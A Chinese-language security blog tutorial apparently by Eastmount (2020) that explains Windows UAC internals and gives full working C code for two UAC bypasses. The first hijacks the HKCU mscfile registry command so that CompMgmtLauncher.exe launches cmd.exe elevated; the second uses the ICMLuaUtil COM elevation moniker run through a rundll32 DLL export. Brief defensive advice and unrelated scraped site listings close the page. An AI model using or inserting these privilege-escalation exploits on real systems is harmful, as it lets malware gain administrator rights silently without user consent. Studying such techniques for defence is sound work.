    触发UAC时,系统会创建一个consent.exe进程,该进程通过白名单程序和用户选择来判断是否创建管理员权限进程。请求进程将要请求的进程cmdline和进程路径通过LPC接口传递给 appinfo 的 RAiLuanchAdminProcess 函数。流程如下:

    • 该函数首选验证路径是否在白名单中
    • 接着将结果传递给consent.exe进程
    • 该进程验证请求进程的签名以及发起者的权限是否符合要求后,决定是否弹出UAC窗口让用户确认
    • UAC窗口会创建新的安全桌面,屏蔽之前的界面,同时UAC窗口进程是系统权限进程,其他普通进程无法和其进行通信交互,用户确认后,调用 CreateProcessAsUser 函数以管理员身份启动请求的进程

    病毒木马如果想要实现更多的权限操作,那么就不得不绕过UAC弹窗,在没有通知用户的情况下,静默地将程序的普通权限提升为管理员权限,从而使程序可以实现一些需要权限的操作。目前实现Bypass UAC主要有两种方法:

    • 一种是利用白名单提权机制
    • 一种是利用COM组件接口技术

     


    1.基于白名单程序的Bypass UAC

    有些系统程序可以直接获取管理员权限,而不触发UAC弹框,这类程序成为白名单程序。例如:slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe等等。这些白名单程序可以通过DLL劫持、注入或是修改注册表执行命令的方式启动目标程序,实现Bypass UAC提权操作。

    下面选择白名单程序 CompMgmtLauncher.exe 进行详细分析,利用它实现Bypass UAC提权。分析的环境是64位Windows 10操作系统,使用的工具是进程监控器Procmon.exe。

    第一步,在System32目录下运行 CompMgmtLauncher.exe 程序。

    在这里插入图片描述

    此时并没有出现UAC弹窗就直接显示计算机管理的窗口界面。

    在这里插入图片描述

     

    第二步,使用procmon软件监控该进程的所有操作。
    主要是监控注册表和文件的操作,设置进程名为CompMgmtLauncher.exe过滤即可。

    在这里插入图片描述

    输出结果如下图所示:

    在这里插入图片描述
     

    第三步,分析该进程注册表操作。
    Procmon监控数据分析发现,计算机管理进程会先查询注册表中数据。

    • HKCU\Software\Classes\mscfile\shell\open\command

    发现该路径不存在后,继续查询注册表中的数据并读取。

    • HKCR\mscfile\shell\open\command(Default)

    该注册表路径中存储着mmc.exe进程的路径信息,如下图所示。然后,计算机管理程序会根据读取到的路径启动程序,显示计算机管理的窗口界面。

    疑惑:如何通过该软件定位进程的执行逻辑或操作流程?感觉不是Procmon就能实现的。

    在这里插入图片描述

    注册表中内容对应如下:

    • %SystemRoot%\system32\mmc.exe “%1” %*

    在这里插入图片描述

     

    第四步,手动构造注册表路径弹窗cmd命令行程序。
    在 CompMgmtLauncher.exe 启动的过程中,有一个关键的操作就是它会先读取注册表的数据。

    • HKCU\Software\Classes\mscfile\shell\open\command

    我们开系统注册表编辑器regedit.exe,查看相应路径下的注册表,发现该注册表路径确实不存在。所以,如果自己构造该注册路径,写入启动程序的路径,这样,CompMgmtLauncher.exe便会启动该程序。为了验证这个猜想,自己手动添加该注册表路径,并设置默认的数据为C:\Windows\System32\cmd.exe。

    在这里插入图片描述

    注册表修改如下:

    在这里插入图片描述

    然后使用Procmon.exe进行监控并运行CompMgmtLauncher.exe,成功弹出cmd.exe命令行窗口,而且提示管理员权限,如下图所示,注意左上角显示的是“计算机管理”而不再是“CMD”。

    在这里插入图片描述

    查看Procmon.exe的监控数据,CompMgmtLauncher.exe确实直接读取注册表路径中的数据并启动。

     

    第五步,编写代码实现相关功能。
    利用CompMgmtLauncher.exe白名单程序Bypass UAC提权的原理讲到这里,接下来编写程序创建并添加注册表,并写入自定义的程序路径。

    • HKCU\Software\Classes\mscfile\shell\open\command(Default)

    具体Bypass UAC代码如下,运行计算机管理程序即可完成Bypass UAC提权操作。其中,HKEY_CURRENT_USER是用户注册表,程序使用普通权限即可进行修改。

    Tiquan02完整代码

    <span style="color:#000000"><code class="language-c"><span style="color:#98c379">#<span style="color:#c678dd">include</span><span style="color:#669900"><windows.h></span></span>
    <span style="color:#98c379">#<span style="color:#c678dd">include</span><span style="color:#669900"><string.h></span></span>
    <span style="color:#98c379">#<span style="color:#c678dd">include</span><span style="color:#669900"><iostream></span></span>
    using namespace std<span style="color:#999999">;</span>
    
    <span style="color:#5c6370">//显示错误信息</span>
    <span style="color:#c678dd">void</span> <span style="color:#61aeee">ShowError</span><span style="color:#999999">(</span><span style="color:#c678dd">char</span><span style="color:#669900">*</span> pszText<span style="color:#999999">)</span>
    <span style="color:#999999">{</span>
    	<span style="color:#c678dd">char</span> szErr<span style="color:#999999">[</span>MAX_PATH<span style="color:#999999">]</span> <span style="color:#669900">=</span> <span style="color:#999999">{</span> <span style="color:#98c379">0</span> <span style="color:#999999">}</span><span style="color:#999999">;</span>
    	<span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">wsprintf</span><span style="color:#999999">(</span>szErr<span style="color:#999999">,</span> <span style="color:#669900">"%s Error[%d]\n"</span><span style="color:#999999">,</span> pszText<span style="color:#999999">,</span> <span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">GetLastError</span><span style="color:#999999">(</span><span style="color:#999999">)</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    <span style="color:#98c379">#<span style="color:#c678dd">ifdef</span> _DEBUG</span>
    	<span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">MessageBox</span><span style="color:#999999">(</span><span style="color:#98c379">NULL</span><span style="color:#999999">,</span> szErr<span style="color:#999999">,</span> <span style="color:#669900">"ERROR"</span><span style="color:#999999">,</span> MB_OK <span style="color:#669900">|</span> MB_ICONERROR<span style="color:#999999">)</span><span style="color:#999999">;</span>
    <span style="color:#98c379">#<span style="color:#c678dd">endif</span></span>
    <span style="color:#999999">}</span>
    
    <span style="color:#5c6370">//修改注册表</span>
    BOOL <span style="color:#61aeee">SetReg</span><span style="color:#999999">(</span><span style="color:#c678dd">char</span><span style="color:#669900">*</span> lpszExePath<span style="color:#999999">)</span>
    <span style="color:#999999">{</span>
    	HKEY hKey <span style="color:#669900">=</span> <span style="color:#98c379">NULL</span><span style="color:#999999">;</span>
    	<span style="color:#5c6370">//创建项</span>
    	<span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">RegCreateKeyEx</span><span style="color:#999999">(</span>HKEY_CURRENT_USER<span style="color:#999999">,</span> 
    		<span style="color:#669900">"Software\\Classes\\mscfile\\Shell\\Open\\Command"</span><span style="color:#999999">,</span> 
    		<span style="color:#98c379">0</span><span style="color:#999999">,</span> <span style="color:#98c379">NULL</span><span style="color:#999999">,</span> <span style="color:#98c379">0</span><span style="color:#999999">,</span> KEY_WOW64_64KEY <span style="color:#669900">|</span> KEY_ALL_ACCESS<span style="color:#999999">,</span> <span style="color:#98c379">NULL</span><span style="color:#999999">,</span> <span style="color:#669900">&</span>hKey<span style="color:#999999">,</span> <span style="color:#98c379">NULL</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    
    	<span style="color:#c678dd">if</span> <span style="color:#999999">(</span><span style="color:#98c379">NULL</span> <span style="color:#669900">==</span> hKey<span style="color:#999999">)</span> <span style="color:#999999">{</span>
    		<span style="color:#61aeee">ShowError</span><span style="color:#999999">(</span><span style="color:#669900">"RegCreateKeyEx"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    		<span style="color:#c678dd">return</span> FALSE<span style="color:#999999">;</span>
    	<span style="color:#999999">}</span>
    	<span style="color:#5c6370">//设置键值</span>
    	<span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">RegSetValueEx</span><span style="color:#999999">(</span>hKey<span style="color:#999999">,</span> <span style="color:#98c379">NULL</span><span style="color:#999999">,</span> <span style="color:#98c379">0</span><span style="color:#999999">,</span> REG_SZ<span style="color:#999999">,</span> <span style="color:#999999">(</span>BYTE<span style="color:#669900">*</span><span style="color:#999999">)</span>lpszExePath<span style="color:#999999">,</span> <span style="color:#999999">(</span><span style="color:#98c379">1</span> <span style="color:#669900">+</span> <span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">lstrlen</span><span style="color:#999999">(</span>lpszExePath<span style="color:#999999">)</span><span style="color:#999999">)</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    	<span style="color:#5c6370">//关闭注册表</span>
    	<span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">RegCloseKey</span><span style="color:#999999">(</span>hKey<span style="color:#999999">)</span><span style="color:#999999">;</span>
    	<span style="color:#c678dd">return</span> TRUE<span style="color:#999999">;</span>
    <span style="color:#999999">}</span>
    
    <span style="color:#5c6370">//主函数</span>
    <span style="color:#c678dd">int</span> <span style="color:#61aeee">main</span><span style="color:#999999">(</span><span style="color:#c678dd">int</span> argc<span style="color:#999999">,</span> <span style="color:#c678dd">char</span><span style="color:#669900">*</span> argv<span style="color:#999999">[</span><span style="color:#999999">]</span><span style="color:#999999">)</span>
    <span style="color:#999999">{</span>
    	BOOL bRet <span style="color:#669900">=</span> FALSE<span style="color:#999999">;</span>
    	PVOID OldValue <span style="color:#669900">=</span> <span style="color:#98c379">NULL</span><span style="color:#999999">;</span>
    
    	<span style="color:#5c6370">// 关闭文件重定位</span>
    	<span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">Wow64DisableWow64FsRedirection</span><span style="color:#999999">(</span><span style="color:#669900">&</span>OldValue<span style="color:#999999">)</span><span style="color:#999999">;</span>
    
    	<span style="color:#5c6370">// 修改注册表</span>
    	bRet <span style="color:#669900">=</span> <span style="color:#61aeee">SetReg</span><span style="color:#999999">(</span><span style="color:#669900">"C:\\Windows\\System32\\cmd.exe"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    	<span style="color:#c678dd">if</span> <span style="color:#999999">(</span>bRet<span style="color:#999999">)</span> <span style="color:#999999">{</span>
    		<span style="color:#5c6370">// 运行 CompMgmtLauncher.exe</span>
    		<span style="color:#61aeee">system</span><span style="color:#999999">(</span><span style="color:#669900">"CompMgmtLauncher.exe"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    		<span style="color:#61aeee">printf</span><span style="color:#999999">(</span><span style="color:#669900">"Run OK!\n"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    	<span style="color:#999999">}</span>
    	<span style="color:#c678dd">else</span> <span style="color:#999999">{</span>
    		<span style="color:#61aeee">printf</span><span style="color:#999999">(</span><span style="color:#669900">"Run ERROR!\n"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    	<span style="color:#999999">}</span>
    
    	<span style="color:#5c6370">// 恢复文件重定位</span>
    	<span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">Wow64RevertWow64FsRedirection</span><span style="color:#999999">(</span>OldValue<span style="color:#999999">)</span><span style="color:#999999">;</span>
    	<span style="color:#61aeee">system</span><span style="color:#999999">(</span><span style="color:#669900">"pause"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    	<span style="color:#c678dd">return</span> <span style="color:#98c379">0</span><span style="color:#999999">;</span>
    <span style="color:#999999">}</span>
    </code></span>

    输出结果如下图所示,360成功识别在劫持程序,点击允许后及弹出对应的计算机管理CMD。

    在这里插入图片描述

    该程序成功利用白名单程序实现了Bypass UAC提权操作,并向注册表中写入cmd程序并启动,其实这也算一种利用白名单的程序劫持,最终效果如下图所示。

    在这里插入图片描述

     


    2.基于COM组件接口的Bypass UAC

    COM提升名称(COM Elevation Moniker)技术允许运行在用户帐户控制(UAC)下的应用程序,以提升权限的方法来激活COM类,最终提升COM接口权限。其中,ICMLuaUtil 接口提供了ShellExec方法来执行命令,创建指定进程。所以,接下来介绍的基于 ICMLuaUtil 接口的Bypass UAC的实现原理,它是利用COM提升名称来对 ICMLuaUtil 接口提权,提权后通过调用ShellExec方法来创建指定进程,实现Bypass UAC操作。

    使用权限提升COM类的程序必须调通过用CoCreateInstanceAsAdmin函数来创建COM类,COM提升名称具体的实现代码如下:

    <span style="color:#000000"><code class="language-c">HRESULT <span style="color:#61aeee">CoCreateInstanceAsAdmin</span><span style="color:#999999">(</span>HWND hWnd<span style="color:#999999">,</span> REFCLSID rclsid<span style="color:#999999">,</span> REFIID riid<span style="color:#999999">,</span> PVOID <span style="color:#669900">*</span>ppVoid<span style="color:#999999">)</span>
    <span style="color:#999999">{</span>
        BIND_OPTS3 bo<span style="color:#999999">;</span>
        WCHAR wszCLSID<span style="color:#999999">[</span>MAX_PATH<span style="color:#999999">]</span> <span style="color:#669900">=</span> <span style="color:#999999">{</span> <span style="color:#98c379">0</span> <span style="color:#999999">}</span><span style="color:#999999">;</span>
        WCHAR wszMonikerName<span style="color:#999999">[</span>MAX_PATH<span style="color:#999999">]</span> <span style="color:#669900">=</span> <span style="color:#999999">{</span> <span style="color:#98c379">0</span> <span style="color:#999999">}</span><span style="color:#999999">;</span>
        HRESULT hr <span style="color:#669900">=</span> <span style="color:#98c379">0</span><span style="color:#999999">;</span>
        <span style="color:#5c6370">// 初始化COM环境</span>
        <span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">CoInitialize</span><span style="color:#999999">(</span><span style="color:#98c379">NULL</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
        <span style="color:#5c6370">// 构造字符串</span>
        <span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">StringFromGUID2</span><span style="color:#999999">(</span>rclsid<span style="color:#999999">,</span> wszCLSID<span style="color:#999999">,</span> <span style="color:#999999">(</span><span style="color:#c678dd">sizeof</span><span style="color:#999999">(</span>wszCLSID<span style="color:#999999">)</span> <span style="color:#669900">/</span> <span style="color:#c678dd">sizeof</span><span style="color:#999999">(</span>wszCLSID<span style="color:#999999">[</span><span style="color:#98c379">0</span><span style="color:#999999">]</span><span style="color:#999999">)</span><span style="color:#999999">)</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
        hr <span style="color:#669900">=</span> <span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">StringCchPrintfW</span><span style="color:#999999">(</span>wszMonikerName<span style="color:#999999">,</span> <span style="color:#999999">(</span><span style="color:#c678dd">sizeof</span><span style="color:#999999">(</span>wszMonikerName<span style="color:#999999">)</span> <span style="color:#669900">/</span> <span style="color:#c678dd">sizeof</span><span style="color:#999999">(</span>wszMonikerName<span style="color:#999999">[</span><span style="color:#98c379">0</span><span style="color:#999999">]</span><span style="color:#999999">)</span><span style="color:#999999">)</span><span style="color:#999999">,</span> L<span style="color:#669900">"Elevation:Administrator!new:%s"</span><span style="color:#999999">,</span> wszCLSID<span style="color:#999999">)</span><span style="color:#999999">;</span>
        <span style="color:#c678dd">if</span> <span style="color:#999999">(</span><span style="color:#61aeee">FAILED</span><span style="color:#999999">(</span>hr<span style="color:#999999">)</span><span style="color:#999999">)</span>
        <span style="color:#999999">{</span>
            <span style="color:#c678dd">return</span> hr<span style="color:#999999">;</span>
        <span style="color:#999999">}</span>
        <span style="color:#5c6370">// 设置BIND_OPTS3</span>
        <span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">RtlZeroMemory</span><span style="color:#999999">(</span><span style="color:#669900">&</span>bo<span style="color:#999999">,</span> <span style="color:#c678dd">sizeof</span><span style="color:#999999">(</span>bo<span style="color:#999999">)</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
        bo<span style="color:#999999">.</span>cbStruct <span style="color:#669900">=</span> <span style="color:#c678dd">sizeof</span><span style="color:#999999">(</span>bo<span style="color:#999999">)</span><span style="color:#999999">;</span>
        bo<span style="color:#999999">.</span>hwnd <span style="color:#669900">=</span> hWnd<span style="color:#999999">;</span>
        bo<span style="color:#999999">.</span>dwClassContext <span style="color:#669900">=</span> CLSCTX_LOCAL_SERVER<span style="color:#999999">;</span>
        <span style="color:#5c6370">// 创建名称对象并获取COM对象</span>
        hr <span style="color:#669900">=</span> <span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">CoGetObject</span><span style="color:#999999">(</span>wszMonikerName<span style="color:#999999">,</span> <span style="color:#669900">&</span>bo<span style="color:#999999">,</span> riid<span style="color:#999999">,</span> ppVoid<span style="color:#999999">)</span><span style="color:#999999">;</span>
        <span style="color:#c678dd">return</span> hr<span style="color:#999999">;</span>
    <span style="color:#999999">}</span>
    </code></span>

    执行上述代码,即可创建并激活提升权限的COM类。ICMLuaUtil 接口通过上述方法创建后,直接调用ShellExec方法创建指定进程,完成Bypass UAC的操作。基于ICMLuaUtil接口Bypass UAC的具体实现代码如下所示:

    <span style="color:#000000"><code class="language-c">BOOL <span style="color:#61aeee">CMLuaUtilBypassUAC</span><span style="color:#999999">(</span>LPWSTR lpwszExecutable<span style="color:#999999">)</span>
    <span style="color:#999999">{</span>
    	HRESULT hr <span style="color:#669900">=</span> <span style="color:#98c379">0</span><span style="color:#999999">;</span>
    	CLSID clsidICMLuaUtil <span style="color:#669900">=</span> <span style="color:#999999">{</span> <span style="color:#98c379">0</span> <span style="color:#999999">}</span><span style="color:#999999">;</span>
    	IID iidICMLuaUtil <span style="color:#669900">=</span> <span style="color:#999999">{</span> <span style="color:#98c379">0</span> <span style="color:#999999">}</span><span style="color:#999999">;</span>
    	ICMLuaUtil <span style="color:#669900">*</span>CMLuaUtil <span style="color:#669900">=</span> <span style="color:#98c379">NULL</span><span style="color:#999999">;</span>
    	BOOL bRet <span style="color:#669900">=</span> FALSE<span style="color:#999999">;</span>
    
    	<span style="color:#c678dd">do</span> <span style="color:#999999">{</span>
    		<span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">CLSIDFromString</span><span style="color:#999999">(</span>CLSID_CMSTPLUA<span style="color:#999999">,</span> <span style="color:#669900">&</span>clsidICMLuaUtil<span style="color:#999999">)</span><span style="color:#999999">;</span>
    		<span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">IIDFromString</span><span style="color:#999999">(</span>IID_ICMLuaUtil<span style="color:#999999">,</span> <span style="color:#669900">&</span>iidICMLuaUtil<span style="color:#999999">)</span><span style="color:#999999">;</span>
    
    		<span style="color:#5c6370">// 提权</span>
    		hr <span style="color:#669900">=</span> <span style="color:#61aeee">CoCreateInstanceAsAdmin</span><span style="color:#999999">(</span><span style="color:#98c379">NULL</span><span style="color:#999999">,</span> clsidICMLuaUtil<span style="color:#999999">,</span> iidICMLuaUtil<span style="color:#999999">,</span> <span style="color:#999999">(</span>PVOID<span style="color:#669900">*</span><span style="color:#999999">)</span><span style="color:#999999">(</span><span style="color:#669900">&</span>CMLuaUtil<span style="color:#999999">)</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    		<span style="color:#c678dd">if</span> <span style="color:#999999">(</span><span style="color:#61aeee">FAILED</span><span style="color:#999999">(</span>hr<span style="color:#999999">)</span><span style="color:#999999">)</span>
    		<span style="color:#999999">{</span>
    			<span style="color:#c678dd">break</span><span style="color:#999999">;</span>
    		<span style="color:#999999">}</span>
    
    		<span style="color:#5c6370">// 启动程序</span>
    		hr <span style="color:#669900">=</span> CMLuaUtil<span style="color:#669900">-></span>lpVtbl<span style="color:#669900">-></span><span style="color:#61aeee">ShellExec</span><span style="color:#999999">(</span>CMLuaUtil<span style="color:#999999">,</span> lpwszExecutable<span style="color:#999999">,</span> <span style="color:#98c379">NULL</span><span style="color:#999999">,</span> <span style="color:#98c379">NULL</span><span style="color:#999999">,</span> <span style="color:#98c379">0</span><span style="color:#999999">,</span> SW_SHOW<span style="color:#999999">)</span><span style="color:#999999">;</span>
    		<span style="color:#c678dd">if</span> <span style="color:#999999">(</span><span style="color:#61aeee">FAILED</span><span style="color:#999999">(</span>hr<span style="color:#999999">)</span><span style="color:#999999">)</span>
    		<span style="color:#999999">{</span>
    			<span style="color:#c678dd">break</span><span style="color:#999999">;</span>
    		<span style="color:#999999">}</span>
    
    		bRet <span style="color:#669900">=</span> TRUE<span style="color:#999999">;</span>
    	<span style="color:#999999">}</span><span style="color:#c678dd">while</span><span style="color:#999999">(</span>FALSE<span style="color:#999999">)</span><span style="color:#999999">;</span>
    
    	<span style="color:#5c6370">// 释放</span>
    	<span style="color:#c678dd">if</span> <span style="color:#999999">(</span>CMLuaUtil<span style="color:#999999">)</span> 
    	<span style="color:#999999">{</span>
    		CMLuaUtil<span style="color:#669900">-></span>lpVtbl<span style="color:#669900">-></span><span style="color:#61aeee">Release</span><span style="color:#999999">(</span>CMLuaUtil<span style="color:#999999">)</span><span style="color:#999999">;</span>
    	<span style="color:#999999">}</span>
    
    	<span style="color:#c678dd">return</span> bRet<span style="color:#999999">;</span>
    <span style="color:#999999">}</span>
    </code></span>

    要注意的是,如果执行COM提升名称(COM Elevation Moniker)代码的程序身份是不可信的,则会触发UAC弹窗;若可信,则不会触发UAC弹窗。所以,要想Bypass UAC,则需要想办法让这段代码在Windows的可信程序中运行。其中,可信程序有计算器、记事本、资源管理器、rundll32.exe等。

    因此可以通过DLL注入或是劫持等技术,将这段代码注入到这些可信程序的进程空间中执行。其中,最简单的莫过于直接通过rundll32.exe来加载DLL,执行COM提升名称的代码。利用rundll32.exe来调用自定义DLL中的导出函数,导出函数的参数和返回值是有特殊规定的,必须是如下形式。

    <span style="color:#000000"><code class="language-c"><span style="color:#5c6370">// 导出函数给rundll32.exe调用执行</span>
    <span style="color:#c678dd">void</span> CALLBACK <span style="color:#61aeee">BypassUAC</span><span style="color:#999999">(</span>HWND hWnd<span style="color:#999999">,</span> HINSTANCE hInstance<span style="color:#999999">,</span> LPSTR lpszCmdLine<span style="color:#999999">,</span> <span style="color:#c678dd">int</span> iCmdShow<span style="color:#999999">)</span>
    </code></span>
    •  

    将上述Bypass UAC的代码写在DLL的项目工程中,同时开发Test控制台项目工程,负责并将BypassUAC函数导出给rundll32.exe程序调用,完成Bypass UAC工作。

    Test代码如下:

    <span style="color:#000000"><code class="language-c"><span style="color:#98c379">#<span style="color:#c678dd">include</span> <span style="color:#669900">"stdafx.h"</span></span>
    <span style="color:#98c379">#<span style="color:#c678dd">include</span> <span style="color:#669900"><Windows.h></span></span>
    
    
    <span style="color:#c678dd">int</span> <span style="color:#61aeee">_tmain</span><span style="color:#999999">(</span><span style="color:#c678dd">int</span> argc<span style="color:#999999">,</span> _TCHAR<span style="color:#669900">*</span> argv<span style="color:#999999">[</span><span style="color:#999999">]</span><span style="color:#999999">)</span>
    <span style="color:#999999">{</span>
    	<span style="color:#c678dd">char</span> szCmdLine<span style="color:#999999">[</span>MAX_PATH<span style="color:#999999">]</span> <span style="color:#669900">=</span> <span style="color:#999999">{</span> <span style="color:#98c379">0</span> <span style="color:#999999">}</span><span style="color:#999999">;</span>
    	<span style="color:#c678dd">char</span> szRundll32Path<span style="color:#999999">[</span>MAX_PATH<span style="color:#999999">]</span> <span style="color:#669900">=</span> <span style="color:#669900">"C:\\Windows\\System32\\rundll32.exe"</span><span style="color:#999999">;</span>
    	<span style="color:#c678dd">char</span> szDllPath<span style="color:#999999">[</span>MAX_PATH<span style="color:#999999">]</span> <span style="color:#669900">=</span> <span style="color:#669900">"C:\\Users\\DemonGan\\Desktop\\BypassUAC2_Test\\Debug\\BypassUAC2_Test.dll"</span><span style="color:#999999">;</span>
    	<span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">sprintf_s</span><span style="color:#999999">(</span>szCmdLine<span style="color:#999999">,</span> <span style="color:#669900">"%s \"%s\" %s"</span><span style="color:#999999">,</span> szRundll32Path<span style="color:#999999">,</span> szDllPath<span style="color:#999999">,</span> <span style="color:#669900">"BypassUAC"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    	<span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">WinExec</span><span style="color:#999999">(</span>szCmdLine<span style="color:#999999">,</span> SW_HIDE<span style="color:#999999">)</span><span style="color:#999999">;</span>
    
    	<span style="color:#61aeee">printf</span><span style="color:#999999">(</span><span style="color:#669900">"Run OK.\n"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    	<span style="color:#61aeee">system</span><span style="color:#999999">(</span><span style="color:#669900">"pause"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    	<span style="color:#c678dd">return</span> <span style="color:#98c379">0</span><span style="color:#999999">;</span>
    <span style="color:#999999">}</span>
    </code></span>

    在这里插入图片描述

    Bypass UAC启动的是cmd.exe程序,所以,直接运行Test.exe即可看到cmd.exe命令行窗口,而且窗口标题有管理员字样,运行结果如下图所示。

    在这里插入图片描述

     


    三.总结

    写到这里,这篇文章就介绍完毕,希望对您有所帮助,最后进行简单的总结下,本文讲解了进程访问令牌权限提升和Bypass UAC(白名单和COM组件)。其实,Bypass UAC的方法有很多,对于不同的Bypass UAC方法,具体的实现过程不太一样,需要我们不断去摸索。同时,随着操作系统不断升级更新,Bypass UAC技术可能不再适应(被打补丁),但也会有新的方法出现,大家可以去github上关注UACME开源项目。

    最后补充防止Bypass UAC的方法:

    • 不要给普通用户设置管理员权限
    • 在“更改用户账户控制设置”中,将用户账户控制(UAC)设置为“始终通知”

    注意,不要觉得这些技术代码实现容易就简单,很多木马、病毒、APT攻击都用到了它们,不要小瞧任何一个技术,只有把这些技术组合起来威胁更大。同样,作为反病毒或安全分析人员,我们需要了解各种技术,只有知道怎么攻击和原理才能更好地防守。

    学安全一年,认识了很多安全大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,深知自己很菜,得努力前行。

    (By:Eastmount 2020-09-12 星期一 晚上11点写于武汉 http://blog.csdn.net/eastmount/ )

     


    2020年8月18新开的“娜璋AI安全之家”,主要围绕Python大数据分析、网络空间安全、人工智能、Web渗透及攻防技术进行讲解,同时分享CCF、SCI、南核北核论文的算法实现。娜璋之家会更加系统,并重构作者的所有文章,从零讲解Python和安全,写了近十年文章,真心想把自己所学所感所做分享出来,还请各位多多指教,真诚邀请您的关注!谢谢。

    在这里插入图片描述

    参考文献:
    [1]《Windows黑客编程技术详解》甘迪文老师
    [2] 进程访问令牌权限提升 - 自己的小白
    [3] windows进程提权(C语言实现) - zzkdev
    [4] https://www.freebuf.com/sectool/175551.html
    [5] https://blog.csdn.net/Simon798/article/details/107051801/

    展开全文
  • 湖北快速自学考试专科段、独立本科段招生简章(7个月)知识.pdf
  • 收集知识点以供自学,来源于各大网友 感谢 、 等 第一部分 Android 四大组件 数据存储 UI 图片的处理 OOM、ANR及性能优化 各种机制 一些比较难理解的技术 启动流程 框架模式 开源库源码分析 其他 设计一套图片异步...
  • Java SE完整版精品优质课件 自学入门必看的优秀Java基础知识培训教案 第14章_java网络编程(共42页).rar
  • 2019 年 7 月自学考试电子商务概论复习知识点 (2) 一) 本章学习要点与逻辑结构 通过本章的学习学生应该首先了解网络营销的环境 ; 了解网上调查的概念优势和方法 ; 了解如何在 WWW实行展示以及 WWW展示为企业带来的...
  • 同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,...
  • 融合教育知识网络自学讲座测试与答案三 测试一 1 题型单选题 分值10 关于残疾学生特殊需要表述不正确的一项是 4 选项 1: 残疾会引发学习信息传递的特殊需要选项 2: 残疾会引发学习目标调整的特殊 需要 选项 3: 残疾...
  • 作为Web渗透的初学者,Linux基础知识和常用命令是我们的必备技能,本文详细讲解了Linux相关知识点及Web渗透免了高龄。如果想玩好Kali或渗透,你需要学好Linux及相关命令,以及端口扫描、漏洞利用、瑞士军刀等工具。...
  • Java SE完整版精品优质课件 自学入门必看的优秀Java基础知识培训教案 特别适合新入门自学的新手同学,也适合老手回顾学习,巩固知识 第1章 Java语言概述 第2章 基本语法 第3章 面向对象编程 第4章 高级类特性1 第5...
  • Java SE完整版精品优质课件 自学入门必看的优秀Java基础知识培训教案 特别适合新入门自学的新手同学,也适合老手回顾学习,巩固知识 第1章 Java语言概述 第2章 基本语法 第3章 面向对象编程 第4章 高级类特性1 第5...
  • 高等教育自学考试“采购与供应链管理”案例题试题汇总(07年10月)[1]知识.pdf
  • Java SE完整版精品优质课件 自学入门必看的优秀Java基础知识培训教案 特别适合新入门自学的新手同学,也适合老手回顾学习,巩固知识 第1章 Java语言概述 第2章 基本语法 第3章 面向对象编程 第4章 高级类特性1 第5...
  • Java SE完整版精品优质课件 自学入门必看的优秀Java基础知识培训教案 特别适合新入门自学的新手同学,也适合老手回顾学习,巩固知识 第1章 Java语言概述 第2章 基本语法 第3章 面向对象编程 第4章 高级类特性1 第5...
  • 网络安全小白自学之路,别拜师了,求人不如求己

    千次阅读 多人点赞 2021-08-25 21:39:02
    最后的建议: 网安是一路探索的,无论选择何种方式入行,工作里还有太多知识与领域,是我们学习中接触不到的(无论你是培训还是自学),我所罗列或者机构罗列的知识点的深度,不过是让你能勉强胜任工作,大片大片的...
  • Java SE完整版精品优质课件 自学入门必看的优秀Java基础知识培训教案 特别适合新入门自学的新手同学,也适合老手回顾学习,巩固知识 第1章 Java语言概述 第2章 基本语法 第3章 面向对象编程 第4章 高级类特性1 第5...
  • Java SE完整版精品优质课件 自学入门必看的优秀Java基础知识培训教案 特别适合新入门自学的新手同学,也适合老手回顾学习,巩固知识 第1章 Java语言概述 第2章 基本语法 第3章 面向对象编程 第4章 高级类特性1 第5...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 47,708
精华内容 19,083
关键字:

如何自学网络知识